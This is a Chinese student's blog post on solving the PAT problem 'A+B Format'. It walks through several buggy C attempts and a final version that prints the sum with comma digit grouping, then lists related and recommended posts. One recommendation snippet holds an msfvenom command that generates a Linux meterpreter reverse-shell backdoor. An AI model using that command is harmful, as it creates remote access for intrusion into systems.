Github链接:https://github.com/heihuifei/object-oriented

1001. A+B Format (20)

Calculate a + b and output the sum in standard format -- that is, the digits must be separated into groups of three by commas (unless there are less than four digits).

Input

Each input file contains one test case. Each case contains a pair of integers a and b where -1000000 <= a, b <= 1000000. The numbers are separated by a space.

Output

For each test case, you should output the sum of a and b in one line. The sum must be written in the standard format.

Sample Input

-1000000 9

Sample Output

-999,991

首先说下这个题目写的时候出现了让我很头大的事情:又发生了看错题目意思的问题,所以我才好几天才写这篇随笔。

题目大致意思:算A+B和的值,然后用一种标准的形式(这里我不得不说太坑了)输出结果。标准形式:一个数从右边开始每三位一个逗号,除非少于4位数。

大致思路及过程:其实如果知道了题目的意思的话,写起来还算简单的,用和数分别除以1000,1000000的余数得到的不到三位的补0前面满三位这个思路就可以写出来。至于说解此题的过程是经历了一段奇葩之路,开始一直以为是和数最后从左往右每三位一个逗号,然后就会发现结果明明一直是对的,可是就是一直有bug。最后熬了几天之后,实在不相信自己哪里还错了,咨询了我的班导,她和我说出了此题的正确意思。之后我解题的速度就比较正常了。

#include<stdio.h>
int main()
{
int b,c,temp,rem,cmo=1,contral=0;
int a[10],i,n;
scanf("%d %d",&b,&c);
temp=b+c;
if(temp<0)
{
contral=1;
temp=-temp;
}
for(i=0;temp!=0;i++)
{
rem=temp%10;
temp/=10;
a[i]=rem;
n=i;
}
if(contral==1)
printf("-");
for(i=n;i>=0;i--,cmo++)
{
printf("%d",a[i]);
if(cmo%3==0)
printf(",");
}
return 0;
}

这两张是在最开始理解错了题目意思的情况下(也就是输出从左往右逗号),最后发现了输出结果会在最后还输出一个逗号。

#include<stdio.h>
int main()
{
int b,c,temp,rem,cmo=1,contral=0;
int a[10],i,n;
scanf("%d %d",&b,&c);
temp=b+c;
if(temp<0)
{
contral=1;
temp=-temp;
}
for(i=0;temp!=0;i++)
{
rem=temp%10;
temp/=10;
a[i]=rem;
n=i;
}
if(contral==1)
printf("-");
for(i=n;i>=0;i--,cmo++)
{
printf("%d",a[i]);
if(cmo%3==0&&cmo<n-1)
printf(",");
}
return 0;
}



经过修改后提交发现还是有错,然后我自己又继续寻找bug,发现如果和数为0的时候,会出现没有输出的情况。

int main()
{
int b,c,temp,rem,cmo=1,cmonum,contral=0;
int a[20],i,n;
scanf("%d %d",&b,&c);
temp=b+c;
if(temp<0)
{
contral=1;
temp=-temp;
}
if(temp==0)
printf("0");
for(i=0;temp!=0;i++)
{
rem=temp%10;
temp/=10;
a[i]=rem;
n=i;
}
if(contral==1)
printf("-");
cmonum=n/3;
for(i=n;i>=0;i--,cmo++)
{
printf("%d",a[i]);
if(cmo%3==0&&cmonum!=0)
{
printf(",");
cmonum--;
}
}
printf("\n");
return 0;
}

然后我把所有的都改好了之后,可是提交上去还是只有13分(因为我的题目意思理解错了),经过几天的挣扎后,问过班导之后才发现是这个问题。

#include<stdio.h>
#include<math.h>
int main()
{
int a,b,c,p,q,t,C;
scanf("%d %d",&a,&b);
c=a+b;
C=abs(c);
if(C<1000&&C>=0)
printf("%d",c);
else if(C>=1000&&C<1000000)
{
p=c%1000;
q=c/1000;
printf("%d,%03d",q,p);
}
else if(C>=1000000&&C<=2000000)
{
p=c%1000;
q=(c/1000)%1000;
t=c/1000000;
printf("%d,%03d,%03d",t,q,p);
}
printf("\n");
return 0;
}

之后知道题目正确的意思之后就我打了一遍,发现第一个测试点没过,经过几轮的排查之后,知道了测试数据没有过,是我的取余数的时候负号算错了,没有加绝对值。测试结果如下:



还有这个是不知道什么时候在哪个代码里发现的bug:



之后经过修改后终于修成正果:

#include<stdio.h>
#include<math.h>
int main()
{
int a,b,c,p,q,t,C;
scanf("%d %d",&a,&b);
c=a+b;
C=abs(c);
if(C<1000&&C>=0)
printf("%d",c);
else if(C>=1000&&C<1000000)
{
p=abs(c%1000);
q=c/1000;
printf("%d,%03d",q,p);
}
else if(C>=1000000&&C<=2000000)
{
p=abs(c%1000);
q=abs(c/1000)%1000;
t=c/1000000;
printf("%d,%03d,%03d",t,q,p);
}
return 0;
}



总的提交列表(如下)一看,发现过程真是艰难啊,一开始编译器测试显示编译错误,之后的波折上面也已经做出陈述。



总结:虽然这次作业比较简单,但是因为各种问题所以收获还是很大的,也说明了在经过期末考试之后我的编程题做得是很少的。另外还是要对英文题多加练习,多在老师学提供的各种平台上进行练习。

寒假作业第二篇随笔(A+B)的更多相关文章

  1. linux-0.11分析:boot文件 setup.s 第二篇随笔

    boot文件 setup.s 第二篇随笔 参考 [github这个博主的][ https://github.com/sunym1993/flash-linux0.11-talk ] 中断获取光标的位置 ...

  2. 寒假作业第二组P&&Q&&R题解

    P的题意是有M份作业,这些作业有不同的截止日期,超过截止日期完成,不同的作业有不同的罚分,求如何完成罚分最低. 首先,从截止日期最长的那个作业到截止日期,这些天数是固定的,所做的就是把这些作业填进这些 ...

  3. 寒假作业第二组C题题解

    这道题题意很简单,主要是练习map的使用.看输入有三个数据,水果名,地名,和出现次数.再看输出,很容易想到map<string,int> string是水果,int是次数,那个地名怎么用m ...

  4. FJUT寒假作业第二周C题解(位运算)

    题目来源:http://210.34.193.66:8080/vj/Contest.jsp?cid=161#P2 题意比较好理解.如果直接按题目要求一步一解.一定超时.作为一个懒人也不会这么暴力一个肯 ...

  5. FJUT寒假作业第二周G题解快速幂

    题目来源:http://210.34.193.66:8080/vj/Contest.jsp?cid=161#P6     题意:求n个数字的乘积对c取摸.主要就是有快速幂扩展到广义幂的过程. 首先题目 ...

  6. 第一次c++团队合作项目第二篇随笔

    随着时间的推移,项目也逐渐展开.我的地图也通过按钮的拼接完成了一小部分.这部分我是用了QT上的按钮类来实现的.接下来就是给按钮贴上图片,然后最重要也是最困难的是实现参数的传递,如何实现点击一个英雄或小 ...

  7. Hdu1015&&寒假作业第二组I题

    题意是A-Z对应1-26,然后给个目标数字和字符串,看看字符串里的某5个字符的组合能不能使v - w^2 + x^3 - y^4 + z^5 = target等式成立,其实多写几个循环也可以达到目的, ...

  8. 寒假作业第二组E题题解

    注意看题,注意看题,注意看题.重要的事情三遍感觉都不够.不怕大家笑话,这道题RuntimeError 9次,我一直以为是哪里越界了,结果最后发现的时候,真是无语了,题目里说了,所有的integer都不 ...

  9. 20155301-滕树晨 第二次随笔作业--从现有技能获取的经验应用于JAVA中

    第二次随笔--从现有技能获取的经验应用于JAVA中 你有什么技能比大多人(超过90%以上)更好? 这个想了半天,有一个是我乒乓球还是比较擅长的,在学校里可能比百分之90的人要强,在外面肯定是不如了.再 ...

随机推荐

  1. Windows 的 Oracle Data Access Components (ODAC)

     下载 x64bit https://www.oracle.com/technetwork/cn/database/windows/downloads/index.html 适用于 Windows 的 ...

  2. 洛谷P1028动规算法

    首先我们可以写一个递归 #include<bits/stdc++.h> using namespace std; long long n; int main(){ long long f[ ...

  3. centos7.4安装redis以及配置外网访问

    一.安装redis 第一步:下载redis安装包 wget http://download.redis.io/releases/redis-4.0.6.tar.gz [root@VM_34_108_c ...

  4. VS2015 安装XAN

    How to install XNA in Visual Studio 2015 (Preview) How can I install the templates and the the frame ...

  5. 成都Uber优步司机奖励政策(4月23日)

    滴快车单单2.5倍,注册地址:http://www.udache.com/ 如何注册Uber司机(全国版最新最详细注册流程)/月入2万/不用抢单:http://www.cnblogs.com/mfry ...

  6. 亲手搭建一个基于Asp.Net WebApi的项目基础框架4

    实现目的:配置website端与服务端对接 1:配置好各项配置文件 2:server端编写接口客户端调用 1.1首先配置文件有log4的配置文件,有config的配置文件,还有服务列表的配置文件 首先 ...

  7. 关于js中直接获取后台的值,直接弹窗获取到的值

    js里获取后台的值,以前我都是后台通过jsp中的<input>EL表达式: 后台代码把传向页面的值放入request:request.setAttribute("Success& ...

  8. msfvenom生成linux后门

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip  LPORT=port   -f elf > shell.elf

  9. MYSQL创建表的约束条件(可选)

    一.常用的一些约束条件 一.创建表的完整语法1.创建表的万能模板:create table 库名.表名( 字段名1 类型[(宽度) 约束条件], 字段名2 类型[(宽度) 约束条件], 字段名3 类型 ...

  10. Python无参装饰器

    需求:想要在test_func函数前后执行一些代码   1.第一步(定义函数,将调用原函数,使用新函数替换) def test_func(): return 'test_func' def test_ ...